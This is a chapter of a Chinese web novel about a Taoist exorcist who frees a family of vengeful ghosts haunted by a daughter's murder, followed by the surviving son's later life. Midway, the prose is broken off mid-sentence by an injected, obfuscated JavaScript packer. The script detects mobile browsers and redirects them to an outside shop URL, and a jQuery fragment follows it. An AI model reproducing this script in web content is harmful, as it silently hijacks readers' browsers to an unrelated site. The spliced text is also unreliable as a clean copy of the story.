默认冷灰
24号文字
方正启体

79.我全家都是鬼(五)

作者:石鱼湖本书字数:K更新时间:
    程望遍体生寒,他终于明白这个家为何如此恐怖。


    这里不仅是一个鬼宅,更是一个被罪孽和怨恨填满的修罗场。


    “仙姑……救我……”程望颤抖着伸出手,求助地看向李令曦。


    李令曦眸光微闪,她上前一步,目光平静的迎向怨气冲天的众鬼:“程招娣,你的遭遇确实令人扼腕,对此我深感悲悯。年幼夭折,死于至亲之手,怨气难平,天地同悲。”


    程招娣周围的怨气翻涌的更加厉害,她失声尖叫:“悲悯?我不需要!我要他们偿命,我要他陪葬!”她伸出一只手,指的正是程望。


    李令曦语气凝重起来:“你将怨恨施加在伤害你的人身上,我可以理解,但他们都已经受到了惩罚和报应,这是业力因果的轮回。但你的执念不仅没有消散,反而更加强烈,以致走向了扭曲。你若是害死了唯一无辜的亲人,此等行径与你所憎恨的父母的残忍在本质上有何区别?”


    “他无辜?”程招娣厉声反驳,“他享受了我用命换来的一切!”


    “他当时都尚未出生,根本都不存在这世上,更不知道是男是女,又何来选择之说?何来享受?”李令曦直视招娣那漆黑的双眼。


    “我知道,你恨的是这吃人的陋习,是残忍无情的父母,是冷漠纵容的祖辈,而非一个懵懂的婴孩。你的怨恨有情可原,但你找错了对象,也让你自己变成了自己最憎恨的那种残害血脉至亲之人。”


    这番推心置腹的话狠狠砸在程招娣的心魂之上,她身后翻涌的怨气霎时停滞了一瞬。


    李令曦的目光又扫过其他鬼魂:“程王氏,你因贪婪而死,死后却怨家人未能替你讨回公道,甚至遮掩丑事,但你可曾想过你的行径与盗墓有何异?你们都是在窃取不属于自己的安宁。你将怨气化为牢笼,束缚亲人,这对你的家人来说,又何尝不是一种折磨?”


    奶奶的鬼魂颤抖起来,眼中的怨毒稍减,渐渐变得茫然、羞愧。


    “程老栓,”李令曦的声音骤然转为严厉,“你暴戾淫邪,害人性命,罔顾人伦。那十四岁冤魂的泣血哀鸣,你可曾听过?你手上沾的血,不会因岁月流逝而淡化,只会让你的灵魂在戾气中永世沉沦!死后滞留,并不是你有多强大,而是你罪孽深重,连地府都嫌弃你肮脏!”


    爷爷双拳攥紧,发出野兽般的哀嚎,眼中的血光不停闪烁。


    “程壮,程柳氏,”李令曦又看向那对瑟瑟发抖的夫妻,“你们懦弱愚昧,亲手扼杀了自己的骨肉,此乃人神共愤之大罪!程壮,你死于心神恍惚之下的意外,是你杀女业力的直接反噬。程柳氏,你投井自尽,并非全然出于悔恨,更是无法承受日夜恐惧的折磨。你们对招娣的恐惧愧疚,对程望的扭曲关爱,不过是自我折磨的枷锁,你们何曾真正的面对过自己的罪恶?”


    父母的鬼魂抱在一起,发出痛苦的哀嚎,哭声中充满了无尽的悔恨。


    “至于你,程望。”李令曦最后扭过身,看向身后的少年,“你要看清这血淋淋的真相,看清人性之恶能到何种地步,看清陋习与罪孽如何将一个家拖入万劫不复。你的出生并非原罪,而你的未来在于你的选择——是沉迷于恐惧绝望,与这污秽一同腐朽,还是挣脱出来,带着这份警示,活出清白正直的一生。”


    程望怔住了,李令曦的话如一把利剑,劈开了他心中的迷雾与混乱。


    他抬起头,看着那些在罪孽中挣扎的家人魂魄,一股强烈的、想要远离这一切的念头油然而生。


    他,不是他们。他不要变成他们那样!


    李令曦重新面向众鬼,手捏法诀,周身的清气涌动,如旭日初升驱散了黑暗。


    “尘归尘,土归土,阳世债,阳世了,尔等滞留,徒增痛苦,污染此地。今日贫道为尔等解开执念,超度往生,各安天命。”


    “不,我不去!我要他们永世不得超生!”


    程招娣发出凄厉的尖叫,化作一道浓郁的黑气,扑向程望。


    见状,奶奶和爷爷的鬼魂也戾气反扑,院内瞬间鬼哭狼嚎,阴风四起。


    “执迷不悟!”


    李令曦眼神一凛,并指如剑,凌空画符,金光乍现。


    雪芽摇动法铃,清脆的铃声直击魂体。


    符箓燃起净化的火光。


    “天地自然,秽气分散……凶秽消散,道炁长存,急急如律令!”


    金光与黑气剧烈碰撞,在李令曦磅礴的法力作用下,众鬼魂的怨念开始瓦解。


    奶奶的怨气化为青烟,爷爷的戾气在忏悔中溃散,父母的魂魄在痛哭中渐渐透明。


    唯有程招娣依旧在金光中不停挣扎,李令曦轻叹一声,取出一枚玉坠。


    那是从母亲程柳氏那里找到的,上面有着程招娣最后一丝本真的残留意念。


    李令曦柔声道:“招娣你看,这是你对人世间最后的一点留恋,并非全是怨恨。你看,糖人。”


    玉坠发出微光,映出一个模糊的、穿着红花袄的小女孩,她望着前方,眼中有对香甜糖人的渴望。


    程招娣瞪大眼睛,停止了挣扎:“糖、糖人……”她低声喃喃,漆黑的眼中落下一滴血泪。


    李令曦全力催动法力,清光如暖阳普照整个院落。


    “尘归尘,土归土,过往罪孽,皆付因果。黄泉路开,往生极乐。招娣,下辈子你一定能够平安喜乐的度过一生,去吧。”


    在净化之力的牵引下,程招娣的怨念终于消散,化作点点微光,渐渐消失。


    院子里恢复了寂静,清冷的月光照下来,却不再是先前的阴冷刺骨。


    程望一下子瘫坐在地,望着空荡荡的院落,恍若隔世。


    “仙姑,他们……”程望声音沙哑。


    “执念已解,送往他们该去的地方了。此后的因果,自有轮回判定。”


    李令曦看着程望:“小居士,此间事了,你好自为之。”


    程望挣扎着跪起,声音有些哽咽:“多谢……多谢仙姑救命之恩,点拨之情,程望永世不忘!”


    李令曦微微颔首,与雪芽转身离去,身影消失在暮色之中。


    程望独自站在空无一人的老宅门前。良久,他毅然转身,背起早已收拾好的书箱,再也没有回头。


    离开了家,程望并没有直接回学堂,他先是去了镇外的义庄,用身上仅有的一些钱,请看守的老人帮忙,为他那从未谋面,甚


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17221576|193563||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    至不知尸骨在何处的姐姐程招娣,立了一个小小的衣冠冢。


    那里面没有尸体,也没有遗物。小小的土堆前,程望埋下了一根他在路上买的糖人。


    他跪在坟前沉默了许久。“姐姐,”他对着那抔黄土,低声说道,“我不知道该恨你,还是该可怜你,你受了天大的委屈,这我知道,可是你最后……也想拉我一起死,爹娘、爷爷奶奶他们罪有应得,我不会替他们辩解,但你的仇不该报在我身上,我不是他们。这根糖人,算是我这个弟弟补给你的,下辈子,一定要投个好胎,别再遇到像我们程家这样的人家。”


    说完,他重重的磕了三个头,起身离开,有些包袱他不能背负一辈子。


    回到学堂,程望变得沉默寡言,眼神却日益沉静锐利。


    夜深人静时,他偶尔会梦见那座老宅,梦见那天发生的一切,但他也不再像最初那样恐惧的无法自拔,只是静静坐着,直到心跳平复。


    他知道,那些阴影也许会伴随他一辈子,但他不能任由他们吞噬自己。


    两年后,他以优异的成绩通过了童生试,成了秀才,这在程家村引起了不少的轰动,毕竟他是村里几十年来唯一的秀才。


    有族老找上门,希望他回去重整门楣,主持祭祀,程望只是客气地拒绝了。


    “程家老宅于我而言,已是伤心之地,不便再回,祭祀先祖,有心即可,不必拘泥于形式。”


    他语气虽平静,却有着不容置疑的决绝。


    后来,程望卖掉了那座早已荒废的老宅和仅有的几亩薄田。


    得来的钱,一部分用于支付后续的束脩和生活,另一部分则托人悄悄捐给了镇上一家专门收留被遗弃女婴的善堂,署名无名氏。


    又过了几年,他参加乡试未能中举,却并未气馁。


    他不再执着于科举,而是在一位老书吏的引荐下,进了府衙,从最低等的文书做起。


    或许是经历过那般匪夷所思的事情,他对于人心之复杂、表象之下的真相,有着超乎寻常的洞察力,再加上他为人正直,不徇私情,虽因出身性格不算圆滑,升迁不快,但在府衙中也渐渐有了能吏之名。


    他终身未娶,并非没有女子倾慕于他,但只有他自己知道,那个家的阴影让他对组建家庭产生了一种根深蒂固的恐惧和排斥,他不想让任何可能的悲剧有丝毫重演的机会。


    再后来,他收养了一个在善堂门口捡到的弃婴,是个女婴,给她取名为程念安,希望她一生念善,平安顺遂。


    看着念安一天天长大,活泼开朗,心地善良,程望心中那份因家族罪孽而产生的冰冷,才仿佛注入了一点点温暖。


    晚年时,程望已成为府衙中颇受敬重的老刑名。


    他经手过无数案子,见过形形色色的罪恶与无奈,但始终秉持着当年李令曦点醒他的那句话——看清真相,活出清白。


    临终前,他拉着女儿念安的手,留下遗言:


    “我死后不必大办。将我送到城外,与一名唤招娣的苦命人的衣冠冢葬在一处即可。不必立碑,栽一棵树便好。”


    言罢,他最后看了一眼窗外明媚的阳光,终于安详的闭上了眼睛。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)